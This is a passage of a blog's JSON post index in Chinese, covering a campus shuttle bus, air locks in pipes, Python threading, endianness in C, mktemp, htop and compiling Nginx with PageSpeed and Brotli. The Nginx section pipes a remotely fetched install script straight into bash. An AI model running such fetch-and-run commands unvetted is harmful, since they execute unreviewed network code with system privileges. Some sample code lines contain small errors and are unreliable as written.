街景，以及交大的地圖。\n在中正堂的候車處，有張貼校車的時刻表。\n時間到的時候，校車就會開過來停在門口，一樣直接上車即可，不須繳費或任何證件。\n交大還有另外一台往返博愛校區的校車，也是在中正堂搭乘，所以在搭車的時候，要稍微注意一下校車前方的標示，不要搭錯車了。\n在中正堂對面還有一個候車亭，那一邊是其他的客運或接駁車的候車地點，如果要去市區或是其他地點的話，可以從那一邊搭車。\n關於交大校園內的各種公車與搭車的地點，可以參考交大總務處的網頁。\n","permalink":"https://blog.gtwang.org/life/thsr-hsinchu-station-nctu-free-school-bus-2018/","summary":"\u003cp\u003e這裡介紹如何搭乘交通大學免費校車，往返高鐵新竹站與交大光復校區，竹科出差的人也可以考慮。\u003c/p\u003e\n\u003cp\u003e如果想要從高鐵新竹站想要搭公車或接駁車到交通大學光復校區的話，有好幾種選擇，最方便又經濟的選擇就是交通大學的免費校車，它會往返交大光復校區與高鐵站，大約一小時一班，以下是搭乘交大校車的教學。\u003c/p\u003e","title":"高鐵新竹站 ⇔ 交通大學免費校車搭乘教學"},{"content":"這裡記錄我家在停水又復水之後，水塔有水，但水龍頭水壓不足、甚至沒水的解決方法。\n最近因為停水，又沒注意水塔的水位，不小心把水塔的水用光了，結果後來自來水來了之後，水塔開始進水了，但是這時候卻發現水塔明明有水，水塔下方水管的開關也確定有開（那個我平常也不會去隨變動它），樓下的水龍頭的水壓就是很低，水壓大概降到原來的三分之一以下，有時候水龍頭開起來放水，水還會愈來愈小，到最後幾乎呈現沒水的狀態。\n我的水塔放在三樓的樓頂，所以大概有快四樓的高度，水壓已經低到在一樓的熱水器都沒辦法點火，而三樓浴室的水龍頭更慘，開起來連一滴水都沒有，只有空氣的聲音，我還一度懷疑是不是有東西堵住水管，正準備找水電行維修之前，上網查了一下，發現問題似乎沒有我想像的那麼嚴重。\n我在網路上查了一下，發現這個問題其實是很常見的小問題，在大部分的狀況中，只要是水塔有水，而樓下的的水龍頭沒有水的話，幾乎都是因為有空氣跑進水管中，堵住水流所造成的，時常發生在停水、清洗水塔之後，若要解決這個問題就是要想辦法讓水管中的空氣排出來，方法有以下幾種：\n嘗試打開房子裡面所有的水龍頭，讓水管裡面的氣體排出來，若有水的話，就讓水流到沒有氣體的聲音。 打開房子裡面最低的水龍頭，通常最低的地方就是一樓廁所馬桶進水的三角閥，把它轉開讓水漏個幾分鐘，讓水把空氣帶出來。如果不想轉開那個三角閥的話，也可以嘗試一直沖馬桶的水。 在沒有水的水龍頭上接一跟水管，用乾溼兩用的吸塵器把裡面的空氣吸出來，如果沒有吸塵器，直接用嘴巴吸也可以（只不過吸的時候要用嘴巴，不可以用肺）。 以上是我在網路上查到的幾種方法，就我自己的經驗來說，我們家的一樓的水龍頭水壓很低，三樓的廁所完全沒有水，結果去二樓把很久沒用的廁所水龍頭一打開之後，就發現裡面的氣體從水龍頭洩出來，一開始只有空氣跑出來，接著開始有水混著氣體噴出來，水龍頭開著讓它漏個兩分鐘左右，就沒有氣體的聲音了。\n開完二樓的水龍頭之後，整棟樓的水龍頭水壓都恢復正常了，後來才知道這個問題原來這麼簡單的就可以解決，但是如果沒有經驗的話，實在不知道該怎處理，所以特別記錄一下。\n參考資料 Mobile01 Mobile01 嘰哩呱啦ACE ","permalink":"https://blog.gtwang.org/life/fix-air-lock-in-pipes-free-flowing-water-2018/","summary":"\u003cp\u003e這裡記錄我家在停水又復水之後，水塔有水，但水龍頭水壓不足、甚至沒水的解決方法。\u003c/p\u003e\n\u003cp\u003e最近因為停水，又沒注意水塔的水位，不小心把水塔的水用光了，結果後來自來水來了之後，水塔開始進水了，但是這時候卻發現水塔明明有水，水塔下方水管的開關也確定有開（那個我平常也不會去隨變動它），樓下的水龍頭的水壓就是很低，水壓大概降到原來的三分之一以下，有時候水龍頭開起來放水，水還會愈來愈小，到最後幾乎呈現沒水的狀態。\u003c/p\u003e","title":"空氣跑進水管造成阻塞，水塔有水、水龍頭水壓不足解決方法"},{"content":"本篇介紹如何在 Python 中使用 threading 模組，撰寫多執行緒的平行計算程式，利用多顆 CPU 核心加速運算。\n現在電腦的 CPU 都有許多的核心，若想要讓程式可以運用多顆 CPU 核心，充分發揮硬體的運算能力，就必須考慮使用多執行緒（multithreading）或多行程（multiprocessing）等平行化的技術，以下介紹 Python 的多執行緒的程式設計方法與技巧，並提供詳細的範例程式碼。\n由於 CPython 的 GIL（Global Interpreter Lock）限制，可能會造成大部分的 Python 程式無法以多執行緒發揮多核心 CPU 的效能，若遇到這樣的狀況，可以考慮改用多行程的方式來設計程式。\nthreading 模組 在 Python 中若要撰寫多執行緒（multithreading）的平行化程式，最基本的方式是使用 threading 這個模組來建立子執行緒。\nthreading 是 Python 標準函式庫裡面的模組，所以不用特別安裝即可使用，雖然功能不是很多，但是基本多執行緒程式設計常用的功能它都有，對於比較單純的平行化工作來說，還算滿實用了。\n建立子執行緒 以下是使用 threading 模組建立子執行緒的範例：\nimport threading import time # 子執行緒的工作函數 def job(): for i in range(5): print(\u0026#34;Child thread:\u0026#34;, i) time.sleep(1) # 建立一個子執行緒 t = threading.Thread(target = job) # 執行該子執行緒 t.start() # 主執行緒繼續執行自己的工作 for i in range(3): print(\u0026#34;Main thread:\u0026#34;, i) time.sleep(1) # 等待 t 這個子執行緒結束 t.join() print(\u0026#34;Done.\u0026#34;) 在這個例子中，我們先定義一個要讓子執行緒執行的 job 函數，接著使用 threading.Thread 建立一個新的子執行緒，其 target 參數就指定為要讓子執行緒執行的函數（也就是 job）。\n建立好新的執行緒之後，即可呼叫執行緒的 start 函數，讓它開始執行，在子執行緒執行的同時，我們還是可以在主程式中繼續處理其他的工作。\n如果有些工作是要等待子執行緒執行完成後才能處理的話，可以使用執行緒的 join 函數，等待該執行緒執行結束，也就是說放在 join 之後的程式碼就會等到子執行緒執行完成後，才會接著執行。\n執行後的輸出會類似這樣：\nChild thread: 0 Main thread: 0 Main thread: 1 Child thread: 1 Main thread: 2 Child thread: 2 Child thread: 3 Child thread: 4 Done. 這裡的子執行緒會執行 5 秒，但是主程式中的迴圈只要 3 秒就結束了，所以主程式會在 join 的地方等待 2 秒鐘，等到子執行緒結束之後，才會輸出 Done. 這一行訊息。\n多個子執行緒與參數 通常我們在撰寫平行化的程式時，都會使用多個子執行緒，並且傳入不同的參數，讓個子執行緒各自負責不同的工作，這時候就可以在建立子執行緒時，使用 args 參數指定要傳數的參數。以下是一個簡單的範例：\nimport threading import time # 子執行緒的工作函數 def job(num): print(\u0026#34;Thread\u0026#34;, num) time.sleep(1) # 建立 5 個子執行緒 threads = [] for i in range(5): threads.append(threading.Thread(target = job, args = (i,))) threads[i].start() # 主執行緒繼續執行自己的工作 # ... # 等待所有子執行緒結束 for i in range(5): threads[i].join() print(\u0026#34;Done.\u0026#34;) 在這個例子中，我們讓子執行緒執行的 job 函數會接受一個 num 參數，依據這個參數來決定要處理什麼工作，然後在呼叫 threading.Thread 建立子執行緒時，將要傳入的參數放在 args 參數中，這樣就可以把資料傳進子執行緒的 job 函數中了。執行之後的結果如下：\nThread 0 Thread 1 Thread 2 Thread 3 Thread 4 Done. 物件導向 我們也可以使用 Python 物件導向的方式來改寫 threading 的多執行緒程式，以下是一個簡單的範例：\nimport threading import time # 子執行緒類別 class MyThread(threading.Thread): def __init__(self, num): threading.Thread.__init__(self) self.num = num def run(self): print(\u0026#34;Thread\u0026#34;, self.num) time.sleep(1) # 建立 5 個子執行緒 threads = [] for i in range(5): threads.append(MyThread(i)) threads[i].start() # 主執行緒繼續執行自己的工作 # ... # 等待所有子執行緒結束 for i in range(5): threads[i].join() print(\u0026#34;Done.\u0026#34;) 這個範例大致上的觀念都跟前面差不多，比較需要注意的地方就是 threading.Thread 在開始執行時，會呼叫它自己的 run 方法函數，這個方法函數預設會呼叫前面我們以 target 參數所指定的函數，在這裡我們在繼承 threading.Thread 類別之後，就直接把 run 覆寫成要執行的函數即可。\n這個範例的執行結果跟上一個例子相同：\nThread 0 Thread 1 Thread 2 Thread 3 Thread 4 Done. 佇列（Queue） 如果我們有許多的工作要分給多個 CPU 核心做運算，最簡單的方式就是使用佇列的方式，讓多個 CPU 可從佇列中取得尚未處理的工作來處理：\nimport time import threading import queue # Worker 類別，負責處理資料 class Worker(threading.Thread): def __init__(self, queue, num): threading.Thread.__init__(self) self.queue = queue self.num = num def run(self): while self.queue.qsize() \u0026gt; 0: # 取得新的資料 msg = self.queue.get() # 處理資料 print(\u0026#34;Worker %d: %s\u0026#34; % (self.num, msg)) time.sleep(1) # 建立佇列 my_queue = queue.Queue() # 將資料放入佇列 for i in range(10): my_queue.put(\u0026#34;Data %d\u0026#34; % i) # 建立兩個 Worker my_worker1 = Worker(my_queue, 1) my_worker2 = Worker(my_queue, 2) # 讓 Worker 開始處理資料 my_worker1.start() my_worker2.start() # 等待所有 Worker 結束 my_worker1.join() my_worker2.join() print(\u0026#34;Done.\u0026#34;) 這裡我們建立兩個 Worker，它們都會從佇列中取得尚未處理的資料，直到佇列清空為止。執行後的結果會像這樣：\nWorker 1: Data 0 Worker 2: Data 1 Worker 1: Data 2 Worker 2: Data 3 Worker 2: Data 4 Worker 1: Data 5 Worker 1: Data 6 Worker 2: Data 7 Worker 2: Data 8 Worker 1: Data 9 Done. 鎖定（Lock） 在平行化的多執行緒程式中，每個執行緒都是同時在執行的，若遇到不可以讓多個執行緒同時進行的工作時（例如將資料寫入同一個檔案），就必須使用鎖定（lock）的方式，一次只讓一個執行緒處理這種工作。\n在 Python 中，我們可以使用 threading 模組的 Lock 來處理多執行緒的鎖定問題，以下是一個簡單的使用範例：\nimport time import threading import queue class Worker(threading.Thread): def __init__(self, queue, num, lock): threading.Thread.__init__(self) self.queue = queue self.num = num self.lock = lock def run(self): while self.queue.qsize() \u0026gt; 0: msg = self.queue.get() # 取得 lock self.lock.acquire() print(\u0026#34;Lock acquired by Worker %d\u0026#34; % self.num) # 不能讓多個執行緒同時進的工作 print(\u0026#34;Worker %d: %s\u0026#34; % (self.num, msg)) time.sleep(1) # 釋放 lock print(\u0026#34;Lock released by Worker %d\u0026#34; % self.num) self.lock.release() my_queue = queue.Queue() for i in range(5): my_queue.put(\u0026#34;Data %d\u0026#34; % i) # 建立 lock lock = threading.Lock() my_worker1 = Worker(my_queue, 1, lock) my_worker2 = Worker(my_queue, 2, lock) my_worker1.start() my_worker2.start() my_worker1.join() my_worker2.join() print(\u0026#34;Done.\u0026#34;) 在這個範例中，我們讓兩個 Worker 都從佇列中取得待處理的工作，但是我們使用一個 Lock 限制一次只允許一個 Worker 來處理工作。\n當一個執行緒呼叫了 Lock 的 acquire 時，代表取得了這個 Lock 的使用權，接著它就可以往下執行裡面的工作，若此時又有另外一個執行緒想要呼叫 acquire 取得使用權的話，就必須等待上一個執行緒執行完，並呼叫 release 釋放這個 Lock 之後，才能夠取得這個 Lock 的使用權，接著執行裡面的工作。\n在這種狀況下雖然兩個 Worker 是同時執行的，但是由於 Lock 的互斥作用，因此可以確保被 Lock 的 acquire 與 release 包起來的這段程式碼不會被兩個執行緒同時執行。\n執行的結果如下：\nLock acquired by Worker 1 Worker 1: Data 0 Lock released by Worker 1 Lock acquired by Worker 2 Worker 2: Data 1 Lock released by Worker 2 Lock acquired by Worker 1 Worker 1: Data 2 Lock released by Worker 1 Lock acquired by Worker 2 Worker 2: Data 3 Lock released by Worker 2 Lock acquired by Worker 1 Worker 1: Data 4 Lock released by Worker 1 Done. 旗標（Semaphore） 有時候因為系統資源有限的因素（例如考量 CPU 或記憶體的限制），在處理某些特別耗資源的工作時，僅允許有限個執行緒同時進行，這個狀況跟上面介紹的鎖定（lock）有點類似，但是鎖定的方式是僅允許一個執行緒進行某項工作，而這裡我們是允許多個執行緒同時執行的，但要限制同時執行的執行緒數量上限。\n旗標（semaphore）的作用跟鎖定（lock）類似，但是它多了一個計數器的功能，當一個執行緒呼叫了 acquire 時，旗標內部的計數器就會遞減 1，而當執行緒呼叫了 release 時，計數器就會遞增 1，當計數器遞減到 0 的時候，後面來的執行緒就要等待其他執行緒release 後才能繼續。\n以下是一個簡單的範例：\nimport time import threading import queue class Worker(threading.Thread): def __init__(self, queue, num, semaphore): threading.Thread.__init__(self) self.queue = queue self.num = num self.semaphore = semaphore def run(self): while self.queue.qsize() \u0026gt; 0: msg = self.queue.get() # 取得旗標 semaphore.acquire() print(\u0026#34;Semaphore acquired by Worker %d\u0026#34; % self.num) # 僅允許有限個執行緒同時進的工作 print(\u0026#34;Worker %d: %s\u0026#34; % (self.num, msg)) time.sleep(1) # 釋放旗標 print(\u0026#34;Semaphore released by Worker %d\u0026#34; % self.num) self.semaphore.release() my_queue = queue.Queue() for i in range(5): my_queue.put(\u0026#34;Data %d\u0026#34; % i) # 建立旗標 semaphore = threading.Semaphore(2) my_worker1 = Worker(my_queue, 1, semaphore) my_worker2 = Worker(my_queue, 2, semaphore) my_worker3 = Worker(my_queue, 3, semaphore) my_worker1.start() my_worker2.start() my_worker3.start() my_worker1.join() my_worker2.join() my_worker3.join() print(\u0026#34;Done.\u0026#34;) Semaphore acquired by Worker 1 Worker 1: Data 0 Semaphore acquired by Worker 2 Worker 2: Data 1 Semaphore released by Worker 1 Semaphore acquired by Worker 1 Worker 1: Data 3 Semaphore released by Worker 2 Semaphore acquired by Worker 2 Worker 2: Data 4 Semaphore released by Worker 1 Semaphore released by Worker 2 Semaphore acquired by Worker 3 Worker 3: Data 2 Semaphore released by Worker 3 Done. 重複鎖定（RLock） RLock 是一個可重複取得使用權的鎖定功能，它跟普通的 Lock 類似，但是它可以允許同一個執行緒重複取得鎖定的使用權。\n若以普通的 Lock 來說，如果同一個執行緒呼叫了兩次 acquire，則在呼叫第二次的時候，就會被擋住：\n# 建立 Lock lock = threading.Lock() # 取得 Lock lock.acquire() # 重複取得 Lock 的時候，就被擋住！ lock.acquire() 如果想要讓同一個執行緒可以重複取得鎖定，可以改用有重複鎖定的 RLock：\n# 建立 RLock rlock = threading.RLock() # 取得 rlock rlock.acquire() # 不能讓多個執行緒同時進的工作... # 重複取得 rlock rlock.acquire() # 不能讓多個執行緒同時進的工作... # 釋放 rlock self.rlock.release() # 不能讓多個執行緒同時進的工作... # 再次釋放 rlock self.rlock.release() RLock 內部有一個計數器，當執行緒在每次呼叫 RLock 的 acquire 的時候，計數器就會遞增 1，紀錄這個鎖定被取得了幾多少次，如果呼叫了 release 時，該計數器就會遞減 1，當計數器遞減至 0 得時候，才會真正釋放鎖定，讓其他的執行緒使用，而在 RLock 的計數器還處於大於 0 的狀態時，其它的執行緒都無法取得這個鎖定的使用權。\n參考資料 Python 官方文件 tutorialspoint 莫煩Python Zhou\u0026rsquo;s Blog ","permalink":"https://blog.gtwang.org/programming/python-threading-multithreaded-programming-tutorial/","summary":"\u003cp\u003e本篇介紹如何在 Python 中使用 \u003ccode\u003ethreading\u003c/code\u003e 模組，撰寫多執行緒的平行計算程式，利用多顆 CPU 核心加速運算。\u003c/p\u003e\n\u003cp\u003e現在電腦的 CPU 都有許多的核心，若想要讓程式可以運用多顆 CPU 核心，充分發揮硬體的運算能力，就必須考慮使用多執行緒（multithreading）或多行程（multiprocessing）等平行化的技術，以下介紹 Python 的多執行緒的程式設計方法與技巧，並提供詳細的範例程式碼。\u003c/p\u003e","title":"Python 多執行緒 threading 模組平行化程式設計教學"},{"content":"這裡介紹 Big-Endian 與 Little-Endian 兩種位元組順序的差異，並提供判斷位元組順序的 C 語言實作程式碼範例。\n位元組順序（Endianness）是指資料在記憶體中的放置順序，不同的 CPU 可能會採用不同的放置規則，若遇到需要在不同機器或是網路之間交換低階的二進位資料時，就必須注意這個問題。\nBig-Endian 與 Little-Endian 在現今主流的 CPU 中，最常見的位元組順序有兩種，分別是 Big-Endian 與 Little-Endian，Big-Endian 是指資料放進記憶體中的時候，最高位的位元組會放在最低的記憶體位址上，而 Little-Endian 則是剛好相反，它會把最高位的位元組放在最高的記憶體位址上。\n我們直接以一個簡單的範例來說明 Big-Endian 與 Little-Endian 的差異會更清楚，假設我們有一個 32 位元（bits）的整數資料為 0x12345678，在 Big-Endian 的機器將其放置在記憶體中的時候，會按照下圖中的規則放置：\nBig-Endian 範例（LibreOffice 原始檔）\n但是如果換成 Little-Endian 的機器，將 0x12345678 放在記憶體中的方式就會剛好相反，會變成這樣：\nLittle-Endian 範例\nC 語言判斷位元組順序 如果我們的程式會使用 union 這類的低階存取方式處理記憶體中的資料，位元組順序就會是非常關鍵的問題，如果不確定自己的機器是屬於那一種位元組順序，可以使用以下這段簡單的程式來判斷：\n#include \u0026lt;stdio.h\u0026gt; typedef union { unsigned long l; unsigned char c[4]; } EndianTest; int main() { EndianTest et; et.l = 0x12345678; printf(\u0026#34;本系統位元組順序為：\u0026#34;); if (et.c[0] == 0x78 \u0026amp;\u0026amp; et.c[1] == 0x56 \u0026amp;\u0026amp; et.c[2] == 0x34 \u0026amp;\u0026amp; et.c[3] == 0x12) { printf(\u0026#34;Little Endian\\n\u0026#34;); } else if (et.c[0] == 0x12 \u0026amp;\u0026amp; et.c[1] == 0x34 \u0026amp;\u0026amp; et.c[2] == 0x56 \u0026amp;\u0026amp; et.c[3] == 0x78) { printf(\u0026#34;Big Endian\\n\u0026#34;); } else { printf(\u0026#34;Unknown Endian\\n\u0026#34;); } printf(\u0026#34;0x%lX 在記憶體中的儲存順序：\\n\u0026#34;, et.l); for (int i = 0; i \u0026lt; 4; i++) { printf(\u0026#34;%p : 0x%02X\\n\u0026#34;, \u0026amp;et.c[i], et.c[i]); } return 0; } 在 Intel CPU 的電腦中執行的結果會類似這樣：\n本系統位元組順序為：Little Endian 0x12345678 在記憶體中的儲存順序： 0x7fffbffafb10 : 0x78 0x7fffbffafb11 : 0x56 0x7fffbffafb12 : 0x34 0x7fffbffafb13 : 0x12 網路位元組順序 除了記憶體中的資料會有位元組順序的問題之外，在網路上傳輸的資料也有同樣的問題，在 IP 的通訊協定中，明確規定網路上傳輸的資料都使用 Big-Endian 的方式傳輸，如果我們需要將資料透過網路傳送時，可以使用 htonl、htons、ntohl 與 ntohs 這幾個函數來處理本機與網路之間的位元組順序轉換。以下是一個簡單的範例：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdint.h\u0026gt; #include \u0026lt;arpa/inet.h\u0026gt; typedef union { uint32_t l; unsigned char c[4]; } EndianTest; // 輸出位元組順序 void printBytes(uint32_t x) { EndianTest et; et.l = x; for (int i = 0; i \u0026lt; 4; i++) { printf(\u0026#34;0x%02X \u0026#34;, et.c[i]); } printf(\u0026#34;\\n\u0026#34;); } int main() { uint32_t x = 0x12345678; printf(\u0026#34;0x%X 在記憶體中的儲存順序：\u0026#34;, x); printBytes(x); uint32_t n = htonl(x); printf(\u0026#34;0x%X 在網路中的傳輸順序：\u0026#34;, x); printBytes(n); } 0x12345678 在記憶體中的儲存順序：0x78 0x56 0x34 0x12 0x12345678 在網路中的傳輸順序：0x12 0x34 0x56 0x78 ","permalink":"https://blog.gtwang.org/programming/difference-between-big-endian-and-little-endian-implementation-in-c/","summary":"\u003cp\u003e這裡介紹 Big-Endian 與 Little-Endian 兩種位元組順序的差異，並提供判斷位元組順序的 C 語言實作程式碼範例。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://zh.wikipedia.org/wiki/%E5%AD%97%E8%8A%82%E5%BA%8F\"\u003e位元組順序（Endianness）\u003c/a\u003e是指資料在記憶體中的放置順序，不同的 CPU 可能會採用不同的放置規則，若遇到需要在不同機器或是網路之間交換低階的二進位資料時，就必須注意這個問題。\u003c/p\u003e","title":"Big-Endian 與 Little-Endian 的差異與判斷程式碼"},{"content":"這裡介紹如何使用 Linux 的 mktemp 指令，自動建立檔名不重複的暫存檔案或目錄，方便程式或指令稿存放資料。\n有時候在撰寫程式或是指令稿時，會需要建立暫存檔來存放暫時性的資料，直覺的作法是在特定的目錄下，以亂數的方式來命名暫存檔，並檢查是否有檔名重複的問題，雖然產生亂數暫存檔的實作不會很複雜，但若有現成可用的工具，當然會更方便。\nLinux 的 mktemp 指令就是一個專門用來產生暫存檔案或目錄的小工具，它會以亂數命名的方式暫存檔案或目錄，並傳回檔案或目錄的路徑。\n建立暫存檔 mktemp 預設會自動以亂數建立一個空的暫存檔：\n# 建立暫存檔 MY_TEMP_FILE=`mktemp` 執行了 mktemp 指令之後，建會建立一個暫存檔，並且傳回檔案路徑，接著我們就可以使用這個建立好的暫存檔案了：\n# 查看暫存檔 ls -l ${MY_TEMP_FILE} -rw------- 1 gtwang gtwang 0 5月 9 21:06 /tmp/tmp.K058cGnZVp 而在使用完之後，記得要將這個暫存檔刪除：\n# 刪除暫存檔 rm ${MY_TEMP_FILE} 建立暫存目錄 有時候我們的程式會需要好多的暫存檔，用來儲存不同的資料，這種狀況下就可以考慮直接建立一個暫存目錄，在這個目錄中自己建立多的檔案來使用：\n# 建立暫存目錄 MY_TEMP_DIR=`mktemp -d` mktemp 在建立暫存目錄後，會傳回目錄的路徑，接著我們就可以在這個暫存目錄中，自由建立多個檔案了。\n# 查看暫存目錄 ls -ld ${MY_TEMP_DIR} drwx------ 2 gtwang gtwang 4096 5月 15 16:47 /tmp/tmp.fbjDb2oPUY 在這個暫存目錄之下，我們就可以很放心使用固定的檔案名稱，不用擔心跟其他程式衝突：\n# 在暫存目錄中建立檔案 echo \u0026#34;Hello\u0026#34; \u0026gt; ${MY_TEMP_DIR}/a.txt echo \u0026#34;World\u0026#34; \u0026gt; ${MY_TEMP_DIR}/b.txt 使用完畢之後，就直接把整個暫存目錄刪除即可：\n# 刪除暫存目錄 rm -fr ${MY_TEMP_DIR} 指定暫存檔放置路徑 在預設的狀況下，mktemp 會將暫存檔案（或目錄）放在系統的 /tmp 之中，如果想要改變放置的位置，可以加上 -p 參數並指定放置位置：\n# 在 /home/gtwang/tmp 目錄下建立暫存檔 MY_TEMP_FILE=`mktemp -p /home/gtwang/tmp` 若要更改暫存目錄的放置位置，方法也相同：\n# 在 /home/gtwang/tmp 目錄下建立暫存目錄 MY_TEMP_DIR=`mktemp -d -p /home/gtwang/tmp` 指定暫存檔檔名格式 mktemp 預設會用 tmp.XXXXXXXXXX 這樣的格式來命名暫存檔（或暫存目錄），若要自己指定檔名格式，方便辨識暫存檔是由哪個程式產生的，可以執行 mktemp 時，加上檔名的樣板：\n# 自行指定檔名格式 MY_TEMP_DIR=`mktemp /tmp/my_temp_file_XXXXXX.txt` 在指定檔名的樣板時，一定要包含好幾個 X，mktemp 會把這些 X 自動替換成亂數產生的字母，避免產生重複的檔名。另外也要注意必須加上檔案的路徑，否則暫存檔會直接建立在目前的目錄之下。\n","permalink":"https://blog.gtwang.org/linux/linux-mktemp-command-tutorial-examples/","summary":"\u003cp\u003e這裡介紹如何使用 Linux 的 \u003ccode\u003emktemp\u003c/code\u003e 指令，自動建立檔名不重複的暫存檔案或目錄，方便程式或指令稿存放資料。\u003c/p\u003e\n\u003cp\u003e有時候在撰寫程式或是指令稿時，會需要建立暫存檔來存放暫時性的資料，直覺的作法是在特定的目錄下，以亂數的方式來命名暫存檔，並檢查是否有檔名重複的問題，雖然產生亂數暫存檔的實作不會很複雜，但若有現成可用的工具，當然會更方便。\u003c/p\u003e","title":"Linux mktemp 建立暫存檔指令教學與範例"},{"content":"這裡介紹如何使用 htop 監控 Linux 即時的系統狀態，取代傳統的 top 指令。\n傳統上要監控 Linux 的系統狀態，最常用的工具就是 top 指令，雖然它在每個 Linux 系統上都有，使用上也很方便，但是它的功能比較陽春，需要看比較詳細的行程資訊時，可能會感覺不太夠用。\nhtop 是另外一個類似 top 的監控工具，它的功能與操作介面比 top 更完整，可以顯示每個程式完整的執行參數，或以行程樹（process tree）的方式顯示，若要管理多個行程時，也可以一次選擇多個行程批次處理。\n安裝 htop htop 這個工具在各種 Linux 發行版中都可以安裝，使用方式也一樣，只不過安裝方式有些不同。\nCentOS Linux 若在 CentOS Linux 中，可用 yum 安裝 htop，首先啟用 EPEL 套件庫：\nsudo yum install epel-release sudo yum update 接著安裝 htop 套件：\nsudo yum install htop Debian/Ubuntu Linux 若在 Debian 或 Ubuntu Linux 中，可直接用 apt 安裝：\nsudo apt-get install htop htop 基本使用方式 htop 的使用方式跟 top 指令類似，執行 htop 指令之後就會開啟監控畫面：\nhtop htop 的操作介面很直覺，上方會顯示基本的系統狀態，比較特別的是可以看到每個 CPU 的使用率，而中間的部份，我們可以使用方向鍵（上、下、左、右）來查看系統上每個行程的資訊，下方有標示從 F1 到 F10 鍵的功能，例如按下 F5 就會以行程樹（process tree）來顯示：\n按下 F2 之後，可以自訂畫面上要顯示的資訊，並調整各種的選項：\n顯示畫面的配色也可以調整：\n若要以關鍵字篩選行程，可以按下 F5 輸入關鍵字：\n若要調整行程的 nice 值，或是中止行程，可以使用 F8 與 F9 鍵。\nhtop 設定檔 在調整各種 htop 的設定時，它會自動將設定記錄下來，下次執行 htop 時就會自動套用這些設定，不用重新調整。\nhtop 的設定檔放在 $HOME/.config/htop/htoprc，如果不小心把設定搞亂了，只要直接把這個檔案刪除，這樣 htop 就會恢復預設的設定值了。\n參考資料 HTG ","permalink":"https://blog.gtwang.org/linux/linux-htop-interactive-process-viewer-tutorial/","summary":"\u003cp\u003e這裡介紹如何使用 \u003ccode\u003ehtop\u003c/code\u003e 監控 Linux 即時的系統狀態，取代傳統的 \u003ccode\u003etop\u003c/code\u003e 指令。\u003c/p\u003e\n\u003cp\u003e傳統上要監控 Linux 的系統狀態，最常用的工具就是 \u003ccode\u003etop\u003c/code\u003e 指令，雖然它在每個 Linux 系統上都有，使用上也很方便，但是它的功能比較陽春，需要看比較詳細的行程資訊時，可能會感覺不太夠用。\u003c/p\u003e","title":"Linux 的 htop 系統狀態即時監控指令工具使用教學"},{"content":"這裡記錄在 CentOS Linux 7 中自行編譯 Nginx + PageSpeed + Brotli 的過程。\n最近我嘗試各種方式，想讓 Nginx 網頁伺服器的效能再提高一些，在校調了 Nginx 與 PHP-FPM 的基本設定，以及啟用了 FastCGI Cache 快取之後，接著考慮 Google 的 PageSpeed 模組與 Brotli 壓縮模組，而這兩個工具都不是 Nginx 內建的，所以若想使用的話，就必須自己重新編譯 Nginx。\n本篇文章所記錄的流程，是我自己在工作時所記錄下來的，並不是用來教學的內容，許多細部的參數在不同系統、不同軟體版本之下，都會有一些差異，所以請大家在實做時不要用複製貼上的方式來操作，否則可能會把整台伺服器搞壞。\n安裝編譯用套件 使用 yum 安裝一些編譯用的工具與函式庫，我從網路上找了好久，安裝的套件列表大家寫的都不太一樣，這一串是我找到最長的，若不需要的可自己拿掉：\n# 安裝套件 sudo yum install git cmake gc gcc gcc-c++ pcre-devel zlib-devel \\ make wget openssl-devel libxml2-devel libxslt-devel gd-devel \\ perl-ExtUtils-Embed GeoIP-devel gperftools gperftools-devel \\ libatomic_ops-devel perl-ExtUtils-Embed 下載 ngx_brotli 原始碼 ngx_brotli 是 Brotli 的 Nginx 模組，請從 ngx_brotli 的 GitHub 網站下載其原始碼：\n# 下載 Brotli cd git clone https://github.com/google/ngx_brotli.git cd ngx_brotli git submodule update --init --recursive 整理 Nginx 編譯參數 由於我想要直接把系統 Nginx 直接抽換成自己編譯的版本（這樣就可以不需要自己寫太多的設定），所以先看一下系統 Nginx 編譯參數：\nnginx -V 輸出的欄位中會有一項 configure arguments，這個就是該 Nginx 當初編譯使用的參數，請自己詳細查看每個參數，保留需要用的模組以及必要的路徑相關設定，自己整理出一串適合自己的參數，然後再額外加上 --add-module=${HOME}/ngx_brotli，將 Brotli 納入。以下是一個範例：\n--add-module=${HOME}/ngx_brotli --prefix=/usr/share/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib64/nginx/modules --conf-path=/etc/nginx/nginx.conf --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --http-client-body-temp-path=/var/lib/nginx/tmp/client_body --http-proxy-temp-path=/var/lib/nginx/tmp/proxy --http-fastcgi-temp-path=/var/lib/nginx/tmp/fastcgi --http-uwsgi-temp-path=/var/lib/nginx/tmp/uwsgi --http-scgi-temp-path=/var/lib/nginx/tmp/scgi --pid-path=/run/nginx.pid --lock-path=/run/lock/subsys/nginx --user=nginx --group=nginx --with-ipv6 --with-http_auth_request_module --with-http_ssl_module --with-http_v2_module --with-http_realip_module --with-http_addition_module --with-http_xslt_module=dynamic --with-http_image_filter_module=dynamic --with-http_geoip_module=dynamic --with-http_sub_module --with-http_dav_module --with-http_flv_module --with-http_mp4_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_random_index_module --with-http_secure_link_module --with-http_degradation_module --with-http_slice_module --with-http_stub_status_module --with-http_perl_module=dynamic --with-mail=dynamic --with-mail_ssl_module --with-pcre --with-pcre-jit --with-stream=dynamic --with-stream_ssl_module --with-google_perftools_module 若以 --add-module 加入 Nginx 模組時，它會直接跟主程式放在一起，如果想要編譯成可以動態載入的模組，可以改用 --add-dynamic-module 來加入模組，爾後若需要時再使用 load_module 載入。\n編譯 Nginx 使用官方提供的自動編譯指令稿，並把上面整理好的編譯參數放進 --additional-nginx-configure-arguments 中，執行後即可自動編譯安裝：\nbash \u0026lt;(curl -f -L -sS https://ngxpagespeed.com/install) \\ --nginx-version latest \\ --additional-nginx-configure-arguments \u0026#39;--add-module=${HOME}/ngx_brotli --prefix=/usr/share/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib64/nginx/modules --conf-path=/etc/nginx/nginx.conf --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --http-client-body-temp-path=/var/lib/nginx/tmp/client_body --http-proxy-temp-path=/var/lib/nginx/tmp/proxy --http-fastcgi-temp-path=/var/lib/nginx/tmp/fastcgi --http-uwsgi-temp-path=/var/lib/nginx/tmp/uwsgi 